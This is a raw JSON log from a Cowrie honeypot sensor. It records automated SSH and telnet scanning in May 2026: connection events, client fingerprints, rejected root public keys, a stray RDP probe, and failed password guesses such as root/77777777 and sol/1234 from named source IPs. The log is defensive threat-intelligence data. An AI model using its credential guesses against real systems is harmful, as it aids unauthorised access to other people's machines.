{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:46:cb:38:89:b1:ed:a0:f9:ba:cd:78:1d:45:d9:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtRxcPwAEx9xJcnLpuC3uWYP8pSSBuy/lfsaUJwnfP3OQ842w6MOh/pDa7ivQNMTYdxO/hMWWDgK/U58wEjZ/YAQsZbcMBdfgMzLp+SuggOjNn8vHuMK9JKmcFequTZv8kl0yHmi6T15PrQUDeq/k0miLHA8TtQpT6LSmhBbBX6FSoLMG+RcQJSRIDfCjY8bKNYAwTS1Y/WcSAQMMj2mhueQbC/EKCj+y4qkfr9AowquFBUAQ+zUEJzvFDM8iOP0y8UQJjyToT5JH2lQCwrGQixMmM/EKiFhH9KRbKzMJdI3EL0Qcxcdkkv3HSXk1XumiDXDYdg04hCh2Q7dx651ZD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:46:cb:38:89:b1:ed:a0:f9:ba:cd:78:1d:45:d9:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:44.443282Z","src_ip":"96.127.175.154","session":"4ae2083316b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:46:cb:38:89:b1:ed:a0:f9:ba:cd:78:1d:45:d9:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtRxcPwAEx9xJcnLpuC3uWYP8pSSBuy/lfsaUJwnfP3OQ842w6MOh/pDa7ivQNMTYdxO/hMWWDgK/U58wEjZ/YAQsZbcMBdfgMzLp+SuggOjNn8vHuMK9JKmcFequTZv8kl0yHmi6T15PrQUDeq/k0miLHA8TtQpT6LSmhBbBX6FSoLMG+RcQJSRIDfCjY8bKNYAwTS1Y/WcSAQMMj2mhueQbC/EKCj+y4qkfr9AowquFBUAQ+zUEJzvFDM8iOP0y8UQJjyToT5JH2lQCwrGQixMmM/EKiFhH9KRbKzMJdI3EL0Qcxcdkkv3HSXk1XumiDXDYdg04hCh2Q7dx651ZD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:44.447438Z","src_ip":"96.127.175.154","session":"4ae2083316b0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5c:73:5b:93:aa:17:fc:21:ea:b5:10:39:21:66:81:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxnXQfcMYvVrEJDSGaPVow+yFOa4RXy0kp+ITsKbya4Dbo+pxuh3eXyqE6PORlgvGrLfKhLbdwJfkUgW1hVxYSyywj3YdGyuzawJ1jBSWBz6LpMqEbkwdpsRtT4mG1gAp7wUeARjkQ3eFhxeC/DdXRs1//LJOdsw53gviNcO7Gkp1Esc0r5AOix/01T60ob5FfH6d9KzSLa29yshuvYsnsFN1A1UJyepuq4c5JgMExmdViuVMhn3a6IA/mLFHZhep/n2qK/Rl0J0IetnTq/NUwCp+Ktz542nDY/A0LSR2eQ+dLTdZxBF591qDsB7ufoMGnf9ajMrkhm1YnXlkpz8Lv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5c:73:5b:93:aa:17:fc:21:ea:b5:10:39:21:66:81:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:44.474331Z","src_ip":"96.127.175.154","session":"4ae2083316b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5c:73:5b:93:aa:17:fc:21:ea:b5:10:39:21:66:81:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxnXQfcMYvVrEJDSGaPVow+yFOa4RXy0kp+ITsKbya4Dbo+pxuh3eXyqE6PORlgvGrLfKhLbdwJfkUgW1hVxYSyywj3YdGyuzawJ1jBSWBz6LpMqEbkwdpsRtT4mG1gAp7wUeARjkQ3eFhxeC/DdXRs1//LJOdsw53gviNcO7Gkp1Esc0r5AOix/01T60ob5FfH6d9KzSLa29yshuvYsnsFN1A1UJyepuq4c5JgMExmdViuVMhn3a6IA/mLFHZhep/n2qK/Rl0J0IetnTq/NUwCp+Ktz542nDY/A0LSR2eQ+dLTdZxBF591qDsB7ufoMGnf9ajMrkhm1YnXlkpz8Lv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:44.478328Z","src_ip":"96.127.175.154","session":"4ae2083316b0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:06:7d:84:c3:5d:c7:65:28:44:a7:db:29:7b:b8:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4q+bZyBCS2jx1qJ5uEFQvT6n/fAN76QB6YLZV8nlgepUuLMc4pPwIqhq8XEkQQqCAYj+K0MpsJ2Z26Fj2Fx9LfRUuSaUYruDsrJ8LzGZUYZhB69ZiizVdHLEy3sbVgl4tRebpOfT7+Hq6NUiw7zitDXBu93wJa/XVvH/HMZQNZKN4xn0mieUwc2h9OyU0pOki7Nga1oxv45m+Si/pJSZJki+4SRNftK1DfDV8QpLauW2UEgnjDOxnIuWvjw2NwMmapgswhjO1cwe997dnIhD1fziuijIkdOuUuciYL3tadk+l2vDYdoucm9/2p0KP4Tg2FKGIOEfokwAipyYHc6Jb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 13:06:7d:84:c3:5d:c7:65:28:44:a7:db:29:7b:b8:86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:44.506257Z","src_ip":"96.127.175.154","session":"4ae2083316b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:06:7d:84:c3:5d:c7:65:28:44:a7:db:29:7b:b8:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4q+bZyBCS2jx1qJ5uEFQvT6n/fAN76QB6YLZV8nlgepUuLMc4pPwIqhq8XEkQQqCAYj+K0MpsJ2Z26Fj2Fx9LfRUuSaUYruDsrJ8LzGZUYZhB69ZiizVdHLEy3sbVgl4tRebpOfT7+Hq6NUiw7zitDXBu93wJa/XVvH/HMZQNZKN4xn0mieUwc2h9OyU0pOki7Nga1oxv45m+Si/pJSZJki+4SRNftK1DfDV8QpLauW2UEgnjDOxnIuWvjw2NwMmapgswhjO1cwe997dnIhD1fziuijIkdOuUuciYL3tadk+l2vDYdoucm9/2p0KP4Tg2FKGIOEfokwAipyYHc6Jb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:44.510748Z","src_ip":"96.127.175.154","session":"4ae2083316b0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"60:2b:1e:11:96:fc:70:af:be:b5:f6:6c:11:ac:25:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD5l2Dz6deOoHy9Ihcp5M12bfTtLemfRkE9lycFXFp9yu6nOeZenkZ045Xp1gM3S7SF81J17IfVeeNABJMMEp2aFXeEQC1dOcAoFBi+FvKTRXnydJmmnDfEwqwFutla7Xd6AztkYyrBS+LwXzXkx/aXIkW9jt6ZY+Fs3r0mMRwBoxSLFFX6q5F0RUxAgSbPM10ErkyJBG5in6GjAwwPmPSQLQYPBY2JX/4MRRQcbzIM/vtmaxrLJGqQNaYr+hXaSSyx+hmPN5c054DQyL7CoSc3zcQXLHte7yj38t+77dinFm9XbM/3CodjcpQfsLvVQ0/jrbUD3A60D7s66QUr2yG4f+PMwiHTmzXZvTDmewRI6XwiCH+Pf7Pmrkh49nAnG+WMsjW24IIOroN7ymsAK7jP+nZ00VFYdX7gS3jZSUeJjD+PHENEt2PXwqNXyYMWrVgJFW7M0qYD5fsF16lsMRFyAS9r2hmTqSwa9LlkeTwt25FYFl56trYIFf3F6mo3t9GR66avNkM71kBnjaUd6K6eN3Px9zqb0DuYAK271QdOAPuUQFYkmGNhFsqLr9frbDrGKssjcaZX6Fb0Kx/t2wpNidbRo5XUILwuiuV2TmbzHtETIdn2dRvaHtnxi4iVr44McPWYJFKzS+oKbYt6cxM0nPvRbox2NzEDzUmVM80I/Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 60:2b:1e:11:96:fc:70:af:be:b5:f6:6c:11:ac:25:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:44.539962Z","src_ip":"96.127.175.154","session":"4ae2083316b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"60:2b:1e:11:96:fc:70:af:be:b5:f6:6c:11:ac:25:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD5l2Dz6deOoHy9Ihcp5M12bfTtLemfRkE9lycFXFp9yu6nOeZenkZ045Xp1gM3S7SF81J17IfVeeNABJMMEp2aFXeEQC1dOcAoFBi+FvKTRXnydJmmnDfEwqwFutla7Xd6AztkYyrBS+LwXzXkx/aXIkW9jt6ZY+Fs3r0mMRwBoxSLFFX6q5F0RUxAgSbPM10ErkyJBG5in6GjAwwPmPSQLQYPBY2JX/4MRRQcbzIM/vtmaxrLJGqQNaYr+hXaSSyx+hmPN5c054DQyL7CoSc3zcQXLHte7yj38t+77dinFm9XbM/3CodjcpQfsLvVQ0/jrbUD3A60D7s66QUr2yG4f+PMwiHTmzXZvTDmewRI6XwiCH+Pf7Pmrkh49nAnG+WMsjW24IIOroN7ymsAK7jP+nZ00VFYdX7gS3jZSUeJjD+PHENEt2PXwqNXyYMWrVgJFW7M0qYD5fsF16lsMRFyAS9r2hmTqSwa9LlkeTwt25FYFl56trYIFf3F6mo3t9GR66avNkM71kBnjaUd6K6eN3Px9zqb0DuYAK271QdOAPuUQFYkmGNhFsqLr9frbDrGKssjcaZX6Fb0Kx/t2wpNidbRo5XUILwuiuV2TmbzHtETIdn2dRvaHtnxi4iVr44McPWYJFKzS+oKbYt6cxM0nPvRbox2NzEDzUmVM80I/Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:44.543596Z","src_ip":"96.127.175.154","session":"4ae2083316b0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f7:b4:c0:85:47:83:1c:40:52:e4:ff:b8:89:99:5c:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDa2OdXpmNRYnhi7P4TbFX4oWMO9OjIG4tcj3aMbli2pTcms3P9dIKN0BVb5mY7xzlZ1dIALNh7rmN7IniYUTwsyhUywk8jRbNEWzKCEv+OmE9UKJirYwE8yMOhv4nMrsNvZw6ZmqPqlgkCxWCL9JhRj2XiKOVTt+njsEi4JHAp2Ak3IzOdaz/XbK/6XER5LwBLB3F5vYjQXt9nyudVFOawQAjC4yNEgnT+1cOO4bJ2zgbbFYivAvatwCVsd35erwUjztkFVso+VKxCOAqoVkxBD6NDcPRaRy2uEdjOmnarZL+CiIednWt/diCjKGvX2RDLiGnpLnwowdxshMPj8VYR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f7:b4:c0:85:47:83:1c:40:52:e4:ff:b8:89:99:5c:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:44.570873Z","src_ip":"96.127.175.154","session":"4ae2083316b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f7:b4:c0:85:47:83:1c:40:52:e4:ff:b8:89:99:5c:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDa2OdXpmNRYnhi7P4TbFX4oWMO9OjIG4tcj3aMbli2pTcms3P9dIKN0BVb5mY7xzlZ1dIALNh7rmN7IniYUTwsyhUywk8jRbNEWzKCEv+OmE9UKJirYwE8yMOhv4nMrsNvZw6ZmqPqlgkCxWCL9JhRj2XiKOVTt+njsEi4JHAp2Ak3IzOdaz/XbK/6XER5LwBLB3F5vYjQXt9nyudVFOawQAjC4yNEgnT+1cOO4bJ2zgbbFYivAvatwCVsd35erwUjztkFVso+VKxCOAqoVkxBD6NDcPRaRy2uEdjOmnarZL+CiIednWt/diCjKGvX2RDLiGnpLnwowdxshMPj8VYR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:44.574478Z","src_ip":"96.127.175.154","session":"4ae2083316b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:44.602067Z","src_ip":"96.127.175.154","session":"4ae2083316b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.213","src_port":1103,"dst_ip":"10.17.0.5","dst_port":22,"session":"147e42e48a40","protocol":"ssh","message":"New connection: 102.88.137.213:1103 (10.17.0.5:22) [session: 147e42e48a40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:51.407472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:51.412015Z","src_ip":"102.88.137.213","session":"147e42e48a40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:51.591208Z","src_ip":"102.88.137.213","session":"147e42e48a40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"choi","message":"login attempt [root/choi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:52.338939Z","src_ip":"102.88.137.213","session":"147e42e48a40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":58114,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f99f93d4af8","protocol":"ssh","message":"New connection: 51.250.105.222:58114 (10.17.0.5:22) [session: 0f99f93d4af8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:53.218069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:53.222725Z","src_ip":"51.250.105.222","session":"0f99f93d4af8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:53.349382Z","src_ip":"51.250.105.222","session":"0f99f93d4af8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:53.521239Z","src_ip":"102.88.137.213","session":"147e42e48a40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fyutkjxtr","message":"login attempt [root/fyutkjxtr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:53.727177Z","src_ip":"51.250.105.222","session":"0f99f93d4af8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:54.856902Z","src_ip":"51.250.105.222","session":"0f99f93d4af8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.191.31","src_port":45604,"dst_ip":"10.17.0.5","dst_port":22,"session":"c00ff19f1e97","protocol":"ssh","message":"New connection: 170.106.191.31:45604 (10.17.0.5:22) [session: c00ff19f1e97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:56.483928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:56.489639Z","src_ip":"170.106.191.31","session":"c00ff19f1e97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:56.558040Z","src_ip":"170.106.191.31","session":"c00ff19f1e97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"77777777","message":"login attempt [root/77777777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:56.860780Z","src_ip":"170.106.191.31","session":"c00ff19f1e97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:57.931755Z","src_ip":"170.106.191.31","session":"c00ff19f1e97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":57780,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b7a58b522e6","protocol":"ssh","message":"New connection: 80.94.92.171:57780 (159.203.135.109:22) [session: 9b7a58b522e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:50:06.445246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:50:06.569578Z","src_ip":"80.94.92.171","session":"9b7a58b522e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:50:06.575039Z","src_ip":"80.94.92.171","session":"9b7a58b522e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:50:07.882695Z","src_ip":"80.94.92.171","session":"9b7a58b522e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:50:09.079896Z","src_ip":"80.94.92.171","session":"9b7a58b522e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":70.07854437828064,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:50:46.715261Z","src_ip":"186.148.83.249","session":"5b99cd65915d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":54355,"dst_ip":"10.17.0.5","dst_port":22,"session":"38f65e96e315","protocol":"ssh","message":"New connection: 152.42.212.128:54355 (10.17.0.5:22) [session: 38f65e96e315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:50:56.177870Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:50:56.182567Z","src_ip":"152.42.212.128","session":"38f65e96e315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:50:56.186081Z","src_ip":"152.42.212.128","session":"38f65e96e315","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.56.3","src_port":58984,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b13dd72722a","protocol":"ssh","message":"New connection: 103.115.56.3:58984 (10.17.0.5:22) [session: 7b13dd72722a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:50:59.635011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:50:59.639900Z","src_ip":"103.115.56.3","session":"7b13dd72722a","protocol":"ssh"}
